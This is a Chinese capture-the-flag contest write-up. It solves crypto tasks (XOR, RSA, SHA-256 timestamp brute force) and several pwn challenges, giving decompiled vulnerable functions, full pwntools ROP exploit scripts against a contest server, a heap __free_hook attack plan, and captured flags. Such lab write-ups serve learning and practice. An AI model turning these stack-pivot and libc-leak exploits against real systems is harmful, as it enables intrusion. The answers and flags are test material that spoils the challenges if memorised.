目录
Crypto
1,疑惑
2,easyrsa
3,passwd
pwn
checkin
easypwn
angr
chunk
stackoverflow
这种9小时比赛真不习惯,连睡会觉的时间都没有。
部分程序找不到了,大概意思先放上,然后回头再加
就是异或的意思
题目介绍:我好"疑惑"啊
keys1 = welcome_to_nine-ak_match_is_so_easy_!@!
keys2 = 20 4 24 5 94 12 2 36 26 6 49 11 68 15 14 114 12 10 43 14 9 43 10 27 31 31 22 45 10 48 58 4 18 10 38 31 14 97 92
异或一下就好
keys1 = 'welcome_to_nine-ak_match_is_so_easy_!@!'
keys2 = '20 4 24 5 94 12 2 36 26 6 49 11 68 15 14 114 12 10 43 14 9 43 10 27 31 31 22 45 10 48 58 4 18 10 38 31 14 97 92'
k2 = keys2.split(' ')
key = [int(k2[i])^ord(keys1[i]) for i in range(len(keys1))]
print(bytes(key))
给了d噢
from Crypto.Util.number import *
from flag import flag
def nextPrime(n):
n += 2 if n & 1 else 1
while not isPrime(n):
n += 2
return n
p = getPrime(1024)
q = nextPrime(p)
n = p * q
e = 0x10001
d = inverse(e, (p-1) * (q-1))
c = pow(bytes_to_long(flag.encode()), e, n)
#d= 12344766091434434733173074189627377553017680360356962089159282442350343171988536143126785315325155784049041041740294461592715296364871912847202681353107182427067350160760722505537695351060872358780516757652343767211907987297081728669843916949983336698385141593880433674937737932158161117039734886760063825649623992179585362400642056715249145349214196969590250787495038347519927017407204272334005860911299915001920451629055970214564924913446260348649062607855669069184216149660211811217616624622378241195643396616228441026080441013816066477785035557421235574948446455413760957154157952685181318232685147981777529010093
#c= 11665709552346194520404644475693304343544277312139717618599619856028953672850971126750357095315011211770308088484683204061365343120233905810281045824420833988717463919084545209896116273241788366262798828075566212041893949256528106615605492953529332060374278942243879658004499423676775019309335825331748319484916607746676069594715000075912334306124627379144493327297854542488373589404460931325101587726363963663368593838684601095345900109519178235587636259017532403848656471367893974805399463278536349688131608183835495334912159111202418065161491440462011639125641718883550113983387585871212805400726591849356527011578
#n= 13717871972706962868710917190864395318380380788726354755874864666298971471295805029284299459288616488109296891203921497014120460143184810218680538647923519587681857800257311678203773339140281665350877914208278709865995451845445601706352659259559793431372688075659019308448963678380545045143583181131530985665822655263963917413080872997526445384954610888776917323156325542921415838122754036103689148810677276471252057077595104724365967333418002158480223657363936976281758713027828747277980907153645847605403914070601944617432177385048803228970693240587900504431163155958465431312258451026447435473865563581029300541109
这个把我给难住了,比赛完后一想太简单。
题目描述:
小cat是某公司的安全侦察人员,在2022年9月9日凌晨6点,
小cat抓取到了几条疑似a人员和b人员交流的包,
经过破译,大致意思是“在今年xx月xx日xx点xx分准时进行数据交易”,
但是唯独不能完全破解出来,于是他发到公司的网络安全群寻求帮助:
69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95
(密文格式是:年份必须是4位数,月日时分必须是两位数,需要用0补齐,比如2022年01月01日01时01分)
难点在于它的这个提示,格式带汉字。用汉字爆破没成功,其实只用数字。flag没提示不知道对不对,但sha256的值肯定没问题。
c = '69d00d9bc39e01687abf84e98e27c889cf1442b53edba27d3235acbeb7b0ae95'
import hashlib
for i in range(2022,2023):
for j in range(9,13):
for k in range(1,32):
for l in range(0,24):
for m in range(0,60):
#v = f"{i}年{j:02d}月{k:02d}日{l:02d}时{m:02d}分".encode()
v = f"{i}{j:02d}{k:02d}{l:02d}{m:02d}".encode()
#print(v)
s = hashlib.sha256()
s.update(v)
#print(s.hexdigest())
if s.hexdigest() == c:
print(v,i,j,k,l,m)
#b'202211121750' 2022 11 12 17 50
#flag{202211121750}
登录题,长度判断时仅检查第1个字符不是负号,可以输入空格再输入负号绕过,有溢出就不必说啥了。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char nptr[32]; // [rsp+0h] [rbp-50h] BYREF
char buf[44]; // [rsp+20h] [rbp-30h] BYREF
size_t nbytes; // [rsp+4Ch] [rbp-4h]
in1t();
puts("name: ");
read(0, buf, 0x10uLL);
buf[16] = 0;
puts("Please input size: ");
read(0, nptr, 8uLL);
if ( atoi(nptr) > 32 || nptr[0] == 45 ) // 检查第1个字符不能是负号,输入空格再输负号绕过
{
puts("No!!Hacker");
exit(0);
}
LODWORD(nbytes) = atoi(nptr);
read(0, nptr, (unsigned int)nbytes);
return 0;
}
这题本地成功,远程没成功,提示字符集错,返来改用one[0]成功
第1个函数里可以预存ROP
__int64 really_fight()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("[*] Give me something...");
read(0, buf, 0x40uLL);
one_kick();
return before_before_punch();
}
第2个函数用负号绕过scanf,可以泄露一个地址,但第一次泄露的是ld的地址,需要先改变栈尝试再泄露
int one_kick()
{
__int64 v1; // [rsp+0h] [rbp-10h] BYREF
__int64 v2; // [rsp+8h] [rbp-8h] BYREF
puts("[*] Your kick deals damage:");
puts(" [1] damage:");
__isoc99_scanf("%lld", &v1);
getchar();
puts(" [2] damage:");
__isoc99_scanf("%lld", &v2);
getchar();
return printf("[*] Oops, %lld damage in total.. GOOD!\n", v1 + v2);
}
最后一个函数有溢出,仅覆盖到rbp+ret仅够移栈
ssize_t one_punch()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
puts("[=][=][=] charging complete!");
puts("-------->-------------->-----------------> ONE PUNCH ------------>");
return read(0, buf, 0x20uLL);
}
思路:
第一步先预存puts(got.puts)然后移栈,由于PIE未开,可以找个大地址移。然后回到40130f使栈错位。
第二步用负号绕过scanf,泄露栈地址,并通过移完栈的预存puts得到libc,并把栈移回来
第三步发送one_gadget,这里直接用是不成功的,根据one的条件,先给r12,r15置0
最后虽然得到shell但shell有问题,应该是输入后边跟乱码,输入cat flag;加分号与后边的隔开。
from pwn import *
p = remote('180.76.166.28', 13000)
#p = process('./pwn2')
context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')
libc_elf = ELF('./libc-2.31.so')
pop_rbp = 0x00000000004011bd # pop rbp ; ret
pop_rdi = 0x0000000000401413 # pop rdi ; ret
pop_rsi = 0x0000000000401411 # pop rsi ; pop r15 ; ret
pop_r12r15 = 0x000000000040140c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
leave_ret = 0x000000000040120d # leave ; ret
#gdb.attach(p, "b*0x401300")
#pause()
#1,
pay1 = flat(pop_rdi+1, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['_start'])
p.sendafter(b"[*] Give me something...\n", pay1)
p.sendlineafter(b' [1] damage:\n' , b'0')
p.sendlineafter(b' [2] damage:\n' , b'-') #stack
p.recvuntil(b'[*] Oops, ')
p.sendafter(b"ONE PUNCH ------------>\n", b'X'*0x10+ flat(0x404a00, 0x40130f))
#2,
p.sendafter(b"[*] Give me something...\n", b'/bin/sh\x00')
p.sendlineafter(b' [1] damage:\n' , b'0')
p.sendlineafter(b' [2] damage:\n' , b'-') #stack
p.recvuntil(b'[*] Oops, ')
stack = int(p.recvuntil(b' damage', drop=True)) - 0x150
print('stack:', hex(stack))
p.sendafter(b"ONE PUNCH ------------>\n", b'X'*0x10+ flat(stack, leave_ret))
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
bin_sh = next(libc_elf.search(b'/bin/sh\x00'))
one = [0xe6c7e, 0xe6c81, 0xe6c84]
print('libc:', hex(libc_base))
#gdb.attach(p, "b*0x40120d")
#3,
#pay1 = flat(0, pop_rdi+1, pop_rdi, bin_sh, libc_elf.sym['system'])
pay1 = flat(0, pop_r12r15,0,0,0,0,libc_base + one[0])
p.sendafter(b"[*] Give me something...\n", pay1)
p.sendlineafter(b' [1] damage:\n' , b'0')
p.sendlineafter(b' [2] damage:\n' , b'-') #stack
p.recvuntil(b'[*] Oops, ')
p.sendafter(b"ONE PUNCH ------------>\n", b'X'*0x10+ flat(stack - 0x120, leave_ret))
#cat flag; 后部有乱字符需要用;隔开
p.interactive()
这个样子
[*] Switching to interactive mode
cat flag;
flag{186115dc-1130-4135-8507-cb52a8afd5db}[DEBUG] Received 0x14 bytes:
b'sh: 1: \r'
b': not found\n'
: not found
这题唯一卡点就是后台很慢,你以为断了,其实是还没显示。3个菜单0login,2system(/bin/sh)直接输入即可。
int sub_804870E()
{
int result; // eax
char v1[16]; // [esp+Ch] [ebp-1Ch] BYREF
int v2; // [esp+1Ch] [ebp-Ch]
result = read_n();
v2 = result;
switch ( result )
{
case 1:
puts("logging out..."); // logout
result = ~dword_804A06C;
dword_804A06C = ~dword_804A06C;
break;
case 2:
if ( dword_804A06C )
return sub_80486F5();
else
return puts("please log in");
case 0:
puts("input your passwd:"); // login
result = read_v((int)v1, 16);
dword_804A06C = 1;
break;
}
return result;
}
9小时赛,堆题居然下午才出来。不过这题比较简单,就是个负数绕过
int sub_12B8()
{
__int64 v0; // rax
int n; // [rsp+4h] [rbp-Ch]
int v3; // [rsp+8h] [rbp-8h]
int v4; // [rsp+Ch] [rbp-4h]
puts("Source of chunk");
puts("1. heap");
puts("2. buffer");
printf(">> ");
n = read_n();
LODWORD(v0) = get_chunk();
v3 = v0;
if ( n == 1 )
{
printf("Size:");
v4 = read_n() + 48;
*((_QWORD *)&qword_40A0 + v3) = malloc(v4);
*(_QWORD *)(*((_QWORD *)&qword_40A0 + v3) + 8LL) = *((_QWORD *)&qword_40A0 + v3) + 48LL;
**((_QWORD **)&qword_40A0 + v3) = v4;
*(_QWORD *)(*((_QWORD *)&qword_40A0 + v3) + 16LL) = 0LL;
*(_QWORD *)(*((_QWORD *)&qword_40A0 + v3) + 24LL) = 0LL;
*(_QWORD *)(*((_QWORD *)&qword_40A0 + v3) + 32LL) = v3;
v0 = *((_QWORD *)&qword_40A0 + v3);
*(_BYTE *)(v0 + 40) = 1;
}
else if ( n == 2 )
{
if ( qword_4070 )
{
*((_QWORD *)&qword_40A0 + (int)v0) = qword_4060;
qword_4060 = *(_QWORD *)(*((_QWORD *)&qword_40A0 + (int)v0) + 24LL);
*(_QWORD *)(qword_4060 + 16) = *(_QWORD *)(*((_QWORD *)&qword_40A0 + (int)v0) + 16LL);
if ( !--qword_4070 )
qword_4068 = qword_4060;
*(_QWORD *)(*((_QWORD *)&qword_40A0 + (int)v0) + 32LL) = (int)v0;
v0 = *((_QWORD *)&qword_40A0 + (int)v0);
*(_BYTE *)(v0 + 40) = 1;
}
else
{
LODWORD(v0) = puts("There's nothing in your buffer");
}
}
return v0;
}
建的块结构:size,data_ptr,..., data
edit读入数据里用size-48 ,这里建-1的块(实际长47)并不影响使用,但可以越界写。
int m5edit()
{
int n; // [rsp+Ch] [rbp-14h]
puts("Which chunk do you want to edit");
printf("Index: ");
n = read_n();
if ( n <= 19 && qword_40A0[n] )
return read(0, *(void **)(qword_40A0[n] + 8LL), (unsigned int)*(_QWORD *)qword_40A0[n] - 48);
else
return puts("There is no chunk");
}
思路:
建-1,-1,0x430,-1,释放430,clear进入unsort,edit0修改1的数据指针指向0x430,show得到libc地址,再修改1的数据指针为__free_hook,edit1写system,释放带/bin/sh的块。
这个栈溢出费了不少时间。主要是移栈后由于name位置比较靠前,后边执行时栈空间不够(到只读区),需要二次移栈到大空间。
ssize_t vul()
{
char buf[112]; // [rsp+0h] [rbp-70h] BYREF
puts("input your name:");
read(0, &name, 0x250uLL);
puts("input your data:");
return read(0, buf, 0x80uLL);
}
先存rop (puts(got_puts))+移栈(先弹rbp,直接从mov rax [rbp+buf]执行0x4006fc,利用后部的leave ret移到远远的)
然后得到libc后,写入ROP,移栈执行。
from pwn import *
p = remote('180.76.166.28', 40001)
#p = process('./overflow')
context(arch='amd64', log_level='debug')
elf = ELF('./overflow')
#libc_elf = ELF('./libc-2.23.so')
libc_elf = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so') #题目给的是2.23 远端是2.31
pop_rbp = 0x00000000004005d0 # pop rbp ; ret
pop_rdi = 0x00000000004007a3 # pop rdi ; ret
leave_ret = 0x0000000000400718 # leave ; ret
ret = pop_rdi+1
name = 0x6010a0
#gdb.attach(p, 'b*0x400718')
pay1 = b'\x00'*0x200 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rbp, 0x601f00, 0x4006fc)
#最大的问题是移栈后 栈空间不够,在二次读前pop_rbp再次移栈到足够远
#0x4006fc: lea rax, [rbp+buf] ;将数据读到新栈区,并利用尾部的leave ret 再次移栈
pay2 = b'\x00'*0x70 + flat(name+0x200-8, leave_ret)
p.sendafter(b"input your name:\n", pay1)
p.sendafter(b"input your data:\n", pay2)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
bin_sh = next(libc_elf.search(b'/bin/sh\x00'))
print('libc:', hex(libc_base))
pay3 = flat(0,pop_rdi+1, pop_rdi, bin_sh, libc_elf.sym['system']).ljust(0x70, b'\x00')+ flat(0x601e90, leave_ret)
p.send(pay3)
p.interactive()
题目给了libc但是不对。有一点点坑。
还有一个盲pwn不知道干啥。